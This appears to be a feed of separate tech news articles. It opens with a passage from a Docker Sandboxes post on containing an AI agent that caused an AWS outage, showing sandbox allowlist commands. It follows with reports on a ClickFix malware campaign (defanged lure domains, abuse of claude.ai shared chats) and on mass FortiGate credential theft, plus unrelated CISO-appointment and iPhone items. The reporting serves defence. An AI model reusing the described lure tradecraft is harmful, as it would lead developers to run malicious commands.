This pattern generalizes. The same architecture that would have contained the LovesWorkin filesystem incident in Issue 2 would have contained the Kiro control-plane incident in this one, because both failures share the same root cause: an agent acting with the launching user’s full identity, at machine speed, against systems that have no way of knowing they’re talking to an agent. The microVM makes the agent a distinct actor with its own boundary. The isolated Docker daemon gives that actor a real working environment to operate in. The proxy gives the engineer a place to decide, ahead of time, what that actor can reach. The blast radius of anything the agent reasons its way into is bounded by what the sandbox allows, not by what the engineer who launched it happens to have access to.
The sbx CLI is what exposes all of this to the developer. Here’s what the Cost Explorer investigation would have looked like inside a sandbox, configured the way the December incident needed.
# 1. Store the AWS credential for the sandbox, outside the agent's view. # The actual scoping (read-only, Cost Explorer only) is handled # at the AWS IAM layer when the credential is created. From sbx's # side, the credential is opaque, the agent never sees the value, # and the proxy is what injects it into outbound calls. echo "$AWS_COST_EXPLORER_READONLY_KEY" | sbx secret set -g aws # 2. Define what the sandbox is allowed to reach on the network. # Cost Explorer read endpoints are on the list. Control-plane # endpoints that would let an agent tear down a production # environment are not. sbx policy allow network "ce.amazonaws.com,api.anthropic.com" # 3. Launch the agent inside the sandbox. sbx run claude # 4. After the session, review what the proxy allowed and denied. # Any attempt the agent made to reach an endpoint outside the # allowlist will show up here. sbx policy log Step 1 stores the AWS credential outside the agent’s view, with the read-only and Cost-Explorer-only scoping enforced by AWS IAM rather than by sbx. Step 2 defines the network perimeter the proxy will enforce, independent of how broad the credential’s IAM permissions actually are. Step 3 starts the agent inside the microVM with no path back to the host. Step 4 is what makes the whole setup auditable: every call the proxy allowed or denied during the session, including any attempt the agent made to reach destinations off the allowlist, shows up in sbx policy log.
What this gives the engineer, end to end, is a working agent with a known and bounded reach. The agent can investigate, reason, and propose. It cannot execute its way into a region-wide outage.
What This Looks Like in Practice
Stepping back from the Kiro story for a moment, the picture is straightforward. Docker Sandboxes gives an agent a real working environment, scoped credentials, a network boundary, and a path that throws everything away cleanly when the session ends. Compared with the way most engineers run AI coding agents today, the trade-offs look like this:

Security Aspect
Traditional Agentic Setup
Docker Sandboxes
Identity
Engineer’s full credentials
Scoped identity per task
Secret Handling
Loaded into agent context
Proxy-injected, never exposed
Production Access
Inherited from operator role
Explicit allowlist or nothing
Destructive Operations
Execute at machine speed
Reviewable before execution
Audit Trail
Per-engineer, post-hoc
Per-sandbox, real-time sbx policy log
Blast Radius
Whatever the engineer can do
Whatever the sandbox is configured for
The row that matters most for the Kiro story is the second-to-last one. Without a sandbox, a destructive operation runs as fast as the API call leaving the agent’s process. With a sandbox, that same operation has to clear the proxy first, which means it lands in the engineer’s review queue instead of in production.
Best Practices for Secure Agentic Production Work
Never give an agent your full production credentials. Create a scoped identity with the minimum permissions the specific task needs. If the agent is investigating a read-only issue, give it read-only access. The Kiro incident is what happens when this rule is skipped. Inject secrets through a proxy, not through environment variables. A secret the agent never sees is a secret the agent cannot accidentally send to the wrong endpoint, leak in a log, or include in a code commit. Proxy injection turns the credential from data the agent holds into a capability the proxy provides. Tag AI-assisted changes as a distinct change category. Track them, require senior review, and apply the two-person rule by default. This is not a slowdown for AI workflows. It is the same review discipline a senior engineer’s pull request would get, applied to an actor that ships at machine speed. Read the policy log. sbx policy log records every connection attempt the proxy allowed or denied during a session. A blocked attempt to reach a destructive endpoint is exactly the signal you would want to see, and it stays buried unless someone looks. Pair adoption metrics with blast-radius metrics. Amazon’s 80% Kiro target was a corporate OKR. The safeguards that should have moved alongside it were tracked nowhere. Pushing usage forward without also pushing safety boundaries forward is what set up the December outage. Take Action
The path to safe agentic work in production-adjacent environments starts with one shift: stop giving agents the credentials you give your humans.
Install Docker Sandboxes. The Docker Sandboxes documentation walks through installing sbx and running your first scoped-identity agent. Read the security model. The Docker Sandboxes security documentation covers credential handling, isolation layers, network policies, and workspace trust in detail. Try the proxy-injected secrets pattern. Running sbx secret set followed by sbx run is the quickest way to see how the threat model shifts when secrets sit outside the agent’s context rather than inside it. If you’re new to this series, Issue 1 walks through the six categories of AI coding agent failures, and Issue 2 goes deep on the rm -rf ~/ incident on the filesystem layer.
Conclusion
The December Cost Explorer outage and the March outages on Amazon.com are points on the same line. They are what happens when an agent inherits an operator’s credentials, when the safeguards designed for human pace meet a decision-making loop that moves a thousand times faster, and when adoption gets pushed forward without anything pushing the safety boundary forward with it.
Amazon’s response is the part of the story worth holding onto. “User error, specifically misconfigured access controls” is true in the same way that “operator error, not the missing guardrail” was true for every famous industrial accident before guardrails were invented. The misconfigured access controls weren’t a typo. They were the structural decision to scale agentic adoption without scaling the identity model around it. Everything Amazon added afterward, the peer review, the senior sign-off on AI-assisted changes, the 90-day code safety reset, the “controlled friction” Treadwell described, points at the same gap. The agent needed to operate in a smaller box than the engineer it was running on behalf of.
Docker Sandboxes doesn’t try to make the agent more cautious; it changes what the agent can reach. The credentials sit outside the boundary. The destructive endpoints sit off the allowlist. The agent gets a real working environment, but not the production control plane.
Coming up in our series: Issue 4 will explore the GitGuardian sprawl report and the s1ngularity attack, where AI agents weaponized their own context windows to scan developer machines for credentials, and how proxy-injected secrets eliminate the exposure surface
Learn More
Run agents safely with Docker Sandboxes: Visit the Docker Sandboxes documentation to get started. Explore the Docker MCP Catalog: Discover MCP servers that connect your agents to external services through Docker’s security-first architecture. Download Docker Desktop: The fastest path to a governed AI agent environment, with Docker Sandboxes, MCP Gateway, and Model Runner in a single install. Read the MCP Horror Stories series: Start with issue 1 to understand the protocol-layer security risks that complement the agent-layer risks covered here. View the full article
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Attackers abuse Google Ads, GitLab, and Claude to deliver malware

Threat actors are abusing trusted platforms, including Google Ads, GitLab pages, and Claude’s shared chat feature, to trick users into executing malicious commands on their systems.
Disguised as popular AI developer tools, the threat actors used ClickFix social engineering attacks, where victims were tricked into manually executing malicious commands. Typically, this involved copying and pasting PowerShell or terminal commands, noted researchers at TrendAI.
The campaign funnelled more than 2,000 victims from sponsored Google search results for popular AI developer tools to malicious download pages before leveraging the claude.ai shared-chat feature as another stage in the attack chain.
The campaign demonstrates how threat actors are exploiting trust in widely used AI platforms to make social-engineering attacks more convincing and harder to detect.
Inside the six-wave campaign
Unlike traditional malware campaigns that rely on suspicious domains or fake download websites, this attack chain was built almost entirely on legitimate services. The threat actors used 92 unique malicious hostnames across GitLab pages, impersonated legitimate brand names including ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, Claude AI, and claude.ai, and simultaneously ran Mac utility scam lures.
The campaign was spread across seven weeks, where weekly campaigns introduced new pages and keywords.
The first wave of the campaign launched between April 8-13, with claude-code-app.gitlab[.]io as the primary lure, supported by claudeapp.gitlab[.]io. Simultaneously, Mac utility-themed lures (mac-clean-storage.gitlab[.]io, mac-guide-tool.gitlab[.]io) were also found to have been deployed. During this wave, a single Google Ads campaign ID (23736589328) resulted in driving the majority of the traffic.
During the next wave spanning April 14-21, the campaign was diversified with the new Claude-themed variants, including gitlab.io domain (claude-tool-app, claud-desktop-app, claudesktop, claude-desktop-apps) alongside expanded Mac utility lures (macsupp-group, macsupp-usb, jetbrains-apps-group).
The brand impersonation was expanded during the third wave with the introduction of perplexity-platform.gitlab.io and chatgpt-codex.gitlab[.]io, while also creating claude-desktop-lm.gitlab[.]io  and cladesktop.gitlab[.]io.
During the fourth wave between April 29 and May 5, the operators pivoted significantly toward ChatGPT and Codex branding with codexgpt.gitlab[.]io , chatgpt-codex-app.gitlab[.]io, and chatgpt-codex-lm.gitlab[.]io, while the Claude-themed attacks continued.
In the fifth wave, spanning May 6-14, the threat actors moved their campaign from self-hosted GitLab Pages to abusing claude.ai’s legitimate shared chat feature. For this, claude.ai’s “share” feature was leveraged to create persistent, publicly accessible URLs on a fully trusted domain and then used Google Ads to direct victims to these weaponized pages, claimed the research.
During the sixth wave, between May 21 and June 14, the threat actors had completely shifted to claude.ai’s shared chat feature.
The campaign appears to have been designed primarily to target developers and technical users, say experts.
“An interaction with a Claude can be perceived as reliable because the users have become accustomed to considering AI tools as sources of productivity tips and technical advice. In this scenario, when users are provided with harmful instructions via an AI platform, there is a good chance that they will comply with them automatically,” explained Devroop Dhar, co-founder and India CEO at Primus Partners.
Reputation-based defenses fell short
Security experts say the campaign’s success stemmed from its ability to leverage trusted platforms at every stage of the attack chain, making malicious activity appear like normal user behavior.
“What makes this attack chain particularly effective is that it does not ask the victim to trust something obviously suspicious. Instead, it borrows trust from familiar brands, legitimate ad infrastructure, reputable hosting, and an AI platform that many developers already use in their daily workflow. This reduced the psychological friction that normally makes users pause before clicking or executing something,” said Amit Jaju, senior managing director at Ankura Consulting.
This is also a strong example of trust stacking. Each layer looks individually legitimate, so the full chain appears safer than it really is, added Jaju.
By leveraging platforms that organizations routinely allow and trust, the attackers were able to blend malicious activity into normal user workflows, making detection significantly more difficult.
Dhar added that in most cases, access to applications such as Google, GitLab, and AI applications is not blocked, as this could hinder operations within an organization. The reputation-based security systems cannot work efficiently here since the domain in question is seen as a reputable one, meaning security personnel will have to dig deeper into behaviour and user actions.
Breaking the attack chain
If a developer falls victim, the blast radius can be much larger than a normal user compromise. Jaju warned that a developer machine often contains browser session cookies, SSO tokens, SSH keys, Git credentials, source code, cloud CLI tokens, package manager credentials, secrets stored in local files, and access to internal documentation or collaboration platforms.
From there, attackers can move into code repositories, CI/CD pipelines, cloud environments, container registries, ticketing systems, and enterprise messaging platforms. In some cases, they may not need to steal passwords at all because session tokens or authenticated browser sessions are enough to bypass part of the security stack.
While the campaign relied heavily on trusted platforms, organizations can still disrupt attacks at multiple points.
Dhar noted the first thing to understand here is that not all cyberattacks necessarily require malicious software. Nowadays, more and more attackers try to persuade victims into performing actions by themselves. Hence, one solution might be limiting unnecessary administrative privileges, monitoring shell and PowerShell executions, and detecting any suspicious behaviour. Additionally, developer PCs might need to be monitored because of the high level of access they have.
From a control standpoint, enterprises should restrict local admin rights and enforce least privilege on developer endpoints. They should also segment developer environments and separate high-risk browsing from privileged engineering workflows, where feasible, added Jaju.
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FortiBleed campaign exposes 75,000 Fortinet firewalls worldwide

A massive credential-compromise campaign dubbed “Fortibleed” has been found to expose tens of thousands of Fortinet devices worldwide, with researchers warning of persistent attacker access to affected enterprise environments.
The campaign was first flagged by security researcher Volodymyr Diachenko, who posted on LinkedIn about finding an attacker-controlled list of potentially working FortiGate passwords collected “through various means.”
Further details came from SOCRadar after its team independently discovered an operational server, which belonged to an unnamed threat actor and contained a list of stolen FortiGate passwords, tools, automation infrastructure, victim list, and some telling information about who could be behind the attack.
“Attribution is ongoing, but the operational fingerprints are clear,” SOCRadar researchers said in a blog post, adding that the tooling and targeting choices are consistent with Russian-speaking threat actors.
According to independent analyses, including by SOCRadar, Hudson Rock, and security researcher Kevin Beaumont, the threat actors systematically collected configuration files from internet-facing Fortinet FortiGate firewalls and used them to recover working administrator credentials. The initial access vector is presently unknown.
CEO of watchTowr Benjamin Harris said the campaign is consistent with what he has been seeing lately. “The uncomfortable reality is that modern exploitation isn’t always about immediate impact,” he said. “It’s about harvesting data that retains value long after the underlying vulnerability has been patched.”
These credentials were likely accumulated over time by exploiting many vulnerabilities affecting sensitive, externally facing Fortinet applications, he added.
Fortinet did not immediately respond to CSO’s request for comments.
Cracked passwords, global reach
While SOCRadar initially reported that the dataset contained working login credentials for over 30,791 devices, further analysis by Beaumont, along with Hudson Rock, placed the affected devices at 75000, about 50% of the total internet-facing Fortinet firewalls found on Shodan.
Researchers found affected devices across 194 countries, spanning more than 21000 domains.
The dataset reportedly contains a mix of administrative and SSL VPN credentials recovered from compromised configuration files. Researchers said the operation is highly automated, allowing threat actors to collect, process, and crack credential material at a very large scale.
SOCRadar found the top affected countries to be India, the US, and Mexico, with a little under 12000 compromised credentials between them. A credential-type breakdown revealed Organization-specific credentials to be most probed, indicating enterprise targeting.
Explaining the potential impact, Beaumont said the threat actors “can log in remotely and gain remote access to the firewall — and so the network.” They can also change settings, including security controls, and make backdoor users, he added.
Old Hashes, new problems
Additional investigation into the campaign highlighted why some Fortinet deployments proved easier to crack than others.
Researchers noted that many affected systems stored administrator credentials using older hashing approaches that were significantly less resistant to offline password-cracking attacks than more recent implementations.
“Fortinet introduced PBKDF2-based password hashing for administrator credentials in FortiOS 7.2.11, 7.4.8, and 7.6.1, replacing the legacy SHA-256-based storage mechanism,“ Arctic Wolf researchers explained in a blog post. “However, when upgrading from earlier versions, existing administrator passwords remain stored as SHA-256 hashes until the corresponding administrator successfully logs in following the upgrade.”
This could be leading to many organizations continuing to store admin credentials using older SHA-256 with Salt hashing mechanisms, they noted.
Defenders told to assume credential exposure
Researchers urged organizations to assume that credentials contained in exposed FortiGate configuration files have been compromised and to immediately rotate affected administrative and VPN passwords.
Additional recommendations include enforcing multi-factor authentication (MFA), restricting internet access to management interfaces, and reviewing devices for signs of unauthorized access.
Upgrading to supported FortiOS versions and replacing weaker or reused passwords was also advised. “After upgrading FortiOS, require all administrators to log in to the firewall at least once: this will automatically set the encryption to PBKDF2,” the researchers said.
Admin passwords can also be manually updated by using a super_admin account, they noted.
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New CISO appointments 2026

The upper ranks of corporate security are seeing a high rate of change as companies try to adapt to the evolving threat landscape. Many companies are hiring a chief security officer (CSO) or chief information security officer (CISO) for the first time to support a deeper commitment to information security.
Follow this column to keep up with new appointments to senior-level security roles and perhaps gain a little insight into hiring trends. If you have an announcement of your own that you would like us to include here, contact Peter Sayer, executive editor of news, at [email protected].
New CISO appointments in June 2026
SolarWinds appoints Justin Henkel as CISO
IT management software vendor SolarWinds has named Justin Henkel its new CISO. Henkel was previously deputy CISO at OneTrust, and before that spent 25 years as an intelligence officer in the US Air Force.
New CISO appointments in March 2026
Kathy Wang joints micro1 as CISO
Frontier AI model training company micro1 has hired Kathy Wang as CISO. She was most recently CISO at hospitality software developer Otelier, and has previously held top cybersecurity roles at Discord and GitLab.
Green Impact Exchange names John Visneski CISO
John Visneski has joined stock exchange operator Green Impact Exchange as CISO. He was previously CISO at MGM Studios, and following that company’s acquisition by Amazon became head fo security for mergers and acquisitions. His cybersecurity career began with the US Air Force, where he served as cyber advisor to the Secretary and Chief of Staff of teh Air Force.
New CISO appointments in January 2026
Julien Mousqueton joins Cohesity as field CISO for Europe
Data security firm Cohesity has hired Julien Mousqueton as field CISO for Europe. His previous role was as CTO at IT service provider Computacenter. He is a reservist advisor for OFAC, the French national police force’s anti-cybercrime division, and created the real-time ransomware activity-tracking platform ransomware.live.

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CSOonline

New CISO appointments 2026

The upper ranks of corporate security are seeing a high rate of change as companies try to adapt to the evolving threat landscape. Many companies are hiring a chief security officer (CSO) or chief information security officer (CISO) for the first time to support a deeper commitment to information security.
Follow this column to keep up with new appointments to senior-level security roles and perhaps gain a little insight into hiring trends. If you have an announcement of your own that you would like us to include here, contact Peter Sayer, executive editor of news, at [email protected].
New CISO appointments in June 2026
SolarWinds appoints Justin Henkel as CISO
IT management software vendor SolarWinds has named Justin Henkel its new CISO. Henkel was previously deputy CISO at OneTrust, and before that spent 25 years as an intelligence officer in the US Air Force.
New CISO appointments in March 2026
Kathy Wang joins micro1 as CISO
Frontier AI model training company micro1 has hired Kathy Wang as CISO. She was most recently CISO at hospitality software developer Otelier, and has previously held top cybersecurity roles at Discord and GitLab.
Green Impact Exchange names John Visneski CISO
John Visneski has joined stock exchange operator Green Impact Exchange as CISO. He was previously CISO at MGM Studios, and following that company’s acquisition by Amazon became head fo security for mergers and acquisitions. His cybersecurity career began with the US Air Force, where he served as cyber advisor to the Secretary and Chief of Staff of teh Air Force.
New CISO appointments in January 2026
Julien Mousqueton joins Cohesity as field CISO for Europe
Data security firm Cohesity has hired Julien Mousqueton as field CISO for Europe. His previous role was as CTO at IT service provider Computacenter. He is a reservist advisor for OFAC, the French national police force’s anti-cybercrime division, and created the real-time ransomware activity-tracking platform ransomware.live.

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Apple to Make Chips in US With Intel, Trump Says

Apple has agreed to work with Intel to manufacture some of its chips in the United States, U.S. president Trump said on Thursday.


Intel's stock rose 9 percent in premarket trading following Trump's comments, which appeared in a social media post. Apple was up 0.6 percent in premarket trading.

Neither Apple nor Intel have officially commented on their reported partnership, but The Wall Street Journal reported last month that Apple and Intel had established a preliminary agreement that would see Intel manufacturing processors for Apple devices.

Intel would make chips based on Apple chip designs in the same way that TSMC currently does. Prior rumors on Intel's Apple talks have suggested Intel could make some of the lower-end processors used in Apple devices, including the lowest-end M-series chip used in select iPad and Mac models.

Before Apple adopted Apple silicon, it used Intel-designed chips for its Macs, but there were continual chip delays. Today, Apple designs its own Arm-based chips and has TSMC manufacture them, giving it the freedom to roll out updates on a more predictable schedule.

Apple hasn't looked to Intel as a supplier before, both because the chipmaker has trailed rivals like TSMC and Samsung and because of the rocky history between the two companies.

That picture may be shifting under Lip-Bu Tan, who took over as Intel CEO last year after the company ousted Pat Gelsinger, and has since pushed to turn around its struggling chip manufacturing arm. Tan's efforts appear to be having the desired impact – the company's stock has surged 464 percent in the past 12 months, with the company hitting a market cap of $608.7 billion. The U.S. government also took a 10 percent stake in Intel last year, converting $8.9 billion in unpaid Chips Act grants into equity.

Apple has been trying to broaden its supply chain, since TSMC – based in Taiwan – is its only Apple silicon manufacturer at the moment. On Apple's most recent earnings call, CEO Tim Cook said iPhone 17 supply had been constrained during the quarter because the company couldn't secure enough A19 and A19 Pro chips from TSMC.

With the AI boom driving massive demand for AI servers, TSMC has less capacity to spare for consumer-device chips. That's left Apple with a weaker hand when it comes to securing production slots.Tag: Intel
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12 Reasons to Wait for the iPhone 18 Pro

We're only three months out from the launch of Apple's premium next-generation smartphone lineup, and while we're not expecting a sea change in terms of functionality, there are still several enhancements rumored to be coming to the iPhone 18 Pro and iPhone 18 Pro Max.


One thing worth noting is that Apple is reportedly planning a major change to its iPhone release cycle this year, adopting a two-phase rollout starting with the iPhone 18 series. That means the iPhone 18 Pro, iPhone 18 Pro Max, and the long-rumored foldable iPhone ("iPhone Ultra") will be released in September 2026, followed by the iPhone 18, iPhone Air 2, and iPhone 18e in spring 2027.


Overall Design

iPhone 17 Pro Style

Rumors suggest the iPhone 18 Pro lineup will largely retain the same design as the iPhone 17 Pro models. Most rumors suggest the rear camera system will look identical to the current generation, featuring a raised "plateau" with three lenses arranged in a triangle – although recent dummies indicate a possible thickening of the plateau and the protrusion of individual lenses. Display sizes are also expected to remain unchanged, with the iPhone 18 Pro and iPhone 18 Pro Max continuing to use 6.3-inch and 6.9-inch panels, respectively (the same dimensions introduced with the iPhone 16 Pro series). iPhone 18 Pro models could drop the current two-tone look of the rear casing found on the iPhone 17 Pro in favor of a more seamless aesthetic, while Apple has apparently updated the back-glass "replacement process" to minimize the color difference between the Ceramic Shield 2 glass and the aluminum frame, resulting in a more unified appearance.

Next-Level Battery Life

Thicker Chassis

The iPhone 18 Pro Max will feature a bigger battery for continued best-in-class battery life, claims a Chinese leaker. The Weibo user known as "Digital Chat Station" said that the ‌iPhone 18‌ Pro Max will have a battery capacity of 5,100 to 5,200 mAh. (The iPhone 17 Pro Max has the biggest ‌iPhone‌ battery to date at 5,088 mAh. Apple says it has a battery life of up to 39 hours.) According to another rumor, the body of the iPhone 18 Pro Max will be slightly thicker than the iPhone 17 Pro Max, raising the device's weight to around 243 grams. That would make the iPhone 18 Pro Max approximately 3 grams more than the iPhone 14 Pro Max, which is currently the heaviest model Apple has produced. A larger battery is the most likely cause.

Smaller Dynamic Island

Under-Screen Face ID?

Rumors continue to circulate about whether the iPhone 18 Pro models will introduce under-display Face ID, but reports remain divided on when the technology will actually arrive. The feature would move the TrueDepth camera system beneath the display, eliminating the need for the current Dynamic Island cutout.

According to Wayne Ma of The Information, Apple is targeting a design without a Dynamic Island, replacing it with a single pinhole camera in the upper-left corner of the screen. However, other sources dispute that claim. Display analyst Ross Young believes under-display Face ID is possible for the iPhone 18 Pro, but says a smaller Dynamic Island will still be present. Bloomberg's Mark Gurman has echoed this view, reporting that the new models will feature a slimmed-down Dynamic Island rather than removing it entirely. Apple is also said to be testing new camera miniaturization technology to reduce the size of the front-facing camera currently located within the Dynamic Island.

The Weibo leaker "Ice Universe" has claimed the Dynamic Island cutout on the iPhone 18 Pro models will be approximately 35% narrower than it is on the iPhone 17 Pro models. Specifically, they said it will have a width of around 13.5mm, down from around 20.7mm.

Meanwhile, Chinese leaker Instant Digital has offered yet another version of events, saying the Dynamic Island will shrink in size, but that under-display Face ID and camera technology won't debut this year. The latest word on the subject is that Apple is weighing two options for the iPhone 18 Pro's Dynamic Island, and a final decision has yet to be made. One option apparently retains the existing screen mold from the iPhone 17 Pro, while the other introduces a significantly smaller "Mini ‌Dynamic Island‌" enabled by moving the Face ID receiver and transmitter components beneath the display.

Upgraded Display

LTPO+

The iPhone 18 Pro models will reportedly use LTPO+ display technology, which should be more power efficient than the current LTPO technology in the iPhone 17 series. Such an upgrade could also contribute to longer battery life (see above), since LPTO+ enables finer control of OLED light emission, potentially allowing the display to optimize its operation based on environmental conditions. In other words, it will know better when to up screen brightness or reduce it, depending on surrounding light sources. The panels are reportedly being supplied by Samsung Display and LG Display.

A20 Pro Chip

2nm Process

The iPhone 18 Pro models will use Apple's A20 chip, based on TSMC's 2nm process for power and efficiency improvements. A move to 2nm fabrication increases transistor density, which will enable higher performance. The A20 series is expected to deliver roughly a 15 percent speed gain and about 30 percent better efficiency compared with the A19 series used in Apple's iPhone 17 models.

Apple's A20 chip will be packaged with TSMC's Wafer-Level Multi-Chip Module (WMCM) technology, suggesting at least some A20 chips will have RAM integrated directly onto the same wafer as the CPU, GPU, and Neural Engine, rather than sitting adjacent to the chip and connected via a silicon interposer. This could contribute to faster performance for both overall tasks and Apple Intelligence, and longer battery life from improved power efficiency.

C2 Modem

Replacing Qualcomm

Apple plans to include its next-generation C2 modem in the iPhone 18 Pro models, according to supply chain analyst Jeff Pu. The chip will succeed the C1 modem, which debuted in the lower-cost iPhone 16e as Apple's first in-house cellular modem, and the C1X modem chip in the iPhone Air, which Apple says is up to 2× faster than the C1. The C2 is expected to bring faster speeds, improved power efficiency, and support for mmWave 5G in the United States – a feature missing from the C1 and C1X.

Apple's modem roadmap is part of a long-term strategy to reduce reliance on Qualcomm, which currently supplies 5G modems for the rest of the iPhone lineup. The company has been working on developing its own cellular chips for years, aiming for deeper integration and greater control over power management and performance.

New Camera Sensor

Samsung-Made

Samsung is working on a new three-layer stacked image sensor, reportedly intended for the iPhone 18. The sensor, referred to as PD-TR-Logic, integrates three layers of circuitry, which would improve camera responsiveness, reduce noise, and increase dynamic range. The leak comes from a source known as "Jukanlosreve," who claims the sensor is being developed specifically for Apple's 2026 iPhone lineup. Sony has long been Apple's sole image sensor supplier, so Samsung's entry would be a big shift in the iPhone's camera supply chain.

Variable Aperture

DSLR-Style

Apple intends to equip this year's iPhone 18 Pro models with a variable aperture lens, according to reports. Weibo-based leaker Digital Chat Station claims the main rear camera – what Apple calls the 48-megapixel Fusion camera – on both iPhone 18 Pro models will offer variable aperture, which would be a first for the iPhone. A variable-aperture system physically adjusts the lens opening, letting more light in for low-light shots or narrowing the opening for brighter scenes and deeper depth of field.

The main cameras on the iPhone 15 Pro, 16 Pro, and 17 Pro all use a fixed ƒ/1.78 aperture, where the lens is permanently set to its widest setting. With a variable lens, the iPhone 18 Pro would allow users to manually shift the aperture, similar to on a DSLR camera. This would mean more control over depth of field, enabling sharper focus on subjects or smoother background blur. Industry analyst Ming-Chi Kuo said in November 2024 that Apple's iPhone 18 Pro models will get the feature.

5G Satellite Internet

Non-Terrestrial Data

According to a report by The Information, Apple plans to add support for 5G networks that operate via satellites rather than Earth-based towers as early as next year. This advancement would allow future iPhones to gain full internet connectivity through satellite, not just limited emergency features.

If Apple meets the 2026 target, the first devices to feature 5G satellite internet would likely be the iPhone 18 Pro, iPhone 18 Pro Max, and the long-rumored foldable iPhone. Apple partners with Globalstar for its iPhone satellite features, but there is currently no service that delivers full 5G satellite internet directly to a smartphone. That said, Amazon and Globalstar announced in April a definitive merger agreement under which Amazon will acquire the satellite operator. Amazon's Leo satellite network will power existing iPhone features – with scope for additional feature support as part of a forthcoming infrastructure upgrade.

Simplified Camera Control

New Design

Apple is reportedly working to simplify the Camera Control button's design on iPhone 18 models in order to reduce costs. The current Camera Control button on iPhone 17 models uses both capacitive and pressure sensors beneath a sapphire crystal surface. The capacitive layer detects touch gestures, while the force sensor recognizes different pressure levels for taps, presses, and swipes.

However, according to the Weibo-based account Instant Digital, Apple will remove the capacitive sensing layer and retain only pressure sensing recognition in the second iteration to achieve all Camera Control functions on the iPhone 18. The simplified version is not about reducing functionality in the button, but about saving money. The current solution is said to be very expensive for Apple and is generating costly after-sales repairs.

We don't expect Camera Control to go away anytime soon – Apple apparently sees it as a key feature, so much so that it has reportedly made deliberate engineering compromises to ensure that the first foldable iPhone features the button.

New Colors

Three in Testing

In February 2026, Bloomberg's Mark Gurman reported that Apple is testing a deep red finish for the iPhone 18 Pro and iPhone 18 Pro Max. Rumors of purple and brown finishes have also circulated, but Gurman believes those are just variants of the same red idea. Since then, we've seen aligned rumors that the devices will come in light blue, dark cherry, dark gray, and silver.

The iPhone 14 Pro and iPhone 14 Pro Max were previously available in Deep Purple, and Apple has never released an iPhone in a genuinely brown color. According to a Chinese leaker, Apple's iPhone 18 Pro models won't come in black this year. If the rumor is true, it will be the second consecutive year Apple has ditched what was arguably its most classic color option for the Pro lineup.

iOS 27

Smarter Siri

The iPhone 18 Pro will ship with iOS 27, which brings the biggest Siri shake-up in the assistant's history. Apple introduced Siri AI at WWDC in June – a rebuilt, more conversational version of Siri with onscreen awareness, personal context understanding, and broad world knowledge that lets it pull up-to-date answers from the web. It also gains its own standalone app for revisiting past conversations, an expanded Visual Intelligence mode, and writing tools that work across email, messages, and documents. Like the iPhone 17 Pro, the iPhone 18 Pro is expected to carry 12GB of RAM, so it should run the full range of Siri AI and Apple Intelligence features. Related Roundup: iPhone 18 Pro
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5 new security operations roles the AI-SOC will create

For years we’ve heard the frightening prediction that AI will take jobs away from people. It will and it already is, but that doesn’t mean it won’t also create new jobs and skills demands — like every other labor trend driven by technology advances.
Take security operations for example. Historically, security operations centers (SOCs) were built on a three-tier analyst model. Tier 1 analysts were junior personnel, paid to monitor activity and triage alerts. Their job was often described as “eyes-on-glass” as they tried to uncover signals among the noise. Tier 2 analysts specialized in investigating alerts (lots of them) that seemed fishy to the Tier 1 crew. When something was truly suspicious or malicious, they took remediation actions or worked with IT teams and others on incident response. Finally, Tier 3 analysts were the most senior and generally focused on threat hunting and engineering. Beyond hunting, these gurus performed deep forensic investigations, controls tuning, and detection engineering.
Fast forward to 2026 and the AI-SOC (or the agentic SOC, autonomous SOC, human-augmented AI-SOC, etc.) is not only here but also maturing quickly. At last count, there are over 120 vendors claiming to participate in this market.
As of today, AI-SOC capabilities center on autonomous alert triage and basic investigations. When something looks awry — a suspicious login, an EDR alert, etc. — agents call disparate tools to enrich the alert, create a timeline of activities, produce a confidence score, and even suggest steps for remediation. Sounds like an efficient Tier 1 analyst to me.
In the near future, AI-SOCs will delve into Tier 2 analyst tasks with automated remediation. Additionally, agent swarms will have specialized roles for detection, investigations, remediation, and even system tuning. Some vendors also propose agents for threat hunting and continuous posture management.
There’s still a lot of innovation, development, and real-world testing needed, but it’s clear that agents will increasingly perform more of the heavy lifting. So where does that leave humans? Here are a few roles where cybersecurity professional skills will be needed and in high demand.
Security data engineer
AI agents can deliver value only if they have continuous access to the right data. This requires moving beyond basic SIEM parsers and API connectors. Security data engineers must know the ins-and-outs of all the data: threat intelligence, identity and access management (IAM), cloud logs, endpoint/network/application telemetry, business context, third-party access patterns, and so on.
All this data must fit into unified data layers that support multi-modal ingestion. This requires managing massive data pipelines to ensure context-rich, normalized, and high-fidelity logging from a potpourri of assets, cloud infrastructures, SaaS applications, and identity providers.
Ideally, security data engineers will transform today’s data format and API mess into cohesive data layers using standards such as the Open Cybersecurity Schema Framework (OCSF).
AI security agent orchestrators
As agent-based solutions proliferate into swarms, someone has to act as the conductor of the orchestra. This involves an understanding of how to piece together multi-agent systems while defining boundaries and guardrails, establishing memory persistence, and determining which agents can take autonomous actions and which activities still demand a human-in-the-loop.
Aside from technical agentic chops, AI security agent orchestrators will need a keen understanding of business-centric AI applications and workflows, as well as how all this relates to the latest threat intelligence.
AI model trainers
Rather than “set it and forget it,” AI models for security operations demand continuous updating and specific context for each individual organization based on threats, industry, and business processes.
AI model trainers must become adroit with retrieval-augmented generation (RAG) to update models with local threat intelligence, asset criticality maps, new identities, and internal network architectural changes. Trainers must also be experts at fine-tuning datasets to ensure accurate and optimized results.
AI-augmented threat hunters
With AI agents in tow, threat hunting evolves from a sporadic to continuous activity. This means moving beyond cyber threat intelligence (CTI) update triggers such as new indicators of compromise (IoCs) to focus on adversary behavioral knowledge across entire campaigns and TTPs (throughout the MITRE ATT&CK framework).
In the near future, agents do the basic work while AI-augmented threat hunters use their experience to come up with highly sophisticated, creative, and complex attack scenarios that standard detection logic likely misses. Hunters then utilize AI to instantly write complex queries across massive datasets. The goal? Hunt for adversary intentions — sensitive data exfiltration, data encryption, etc. — rather than easy adversary tradecraft such as file hashes or IoCs.
AI-savvy red teaming/penetration tester
As AI cascades across the enterprise, SaaS applications, and third-parties, organizations will need a new breed of red teamers to discover weaknesses and gaps in enterprise AI infrastructure and applications across the software supply chain.
To accomplish this, AI-savvy red teams and penetration testers must possess the skill set and knowledge to circumvent new types of AI-enabled security defenses. Once beyond security controls, red teaming and penetration testing roles move on to attack an enterprise’s internal AI deployments — testing for things such as data poisoning, prompt injection vulnerabilities, and unauthorized access to underlying data stores used for building and fine-tuning various AI-models.
As the saying goes, “AI won’t take your job, but someone who knows how to use AI to their advantage will.” Cybersecurity professionals who follow this logic, invest in their skill sets, and pursue jobs like those described above will flourish professionally, prosper economically, and be extremely valuable to their organizations.
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Cybersecurity was built for predictable systems. AI changes the rules

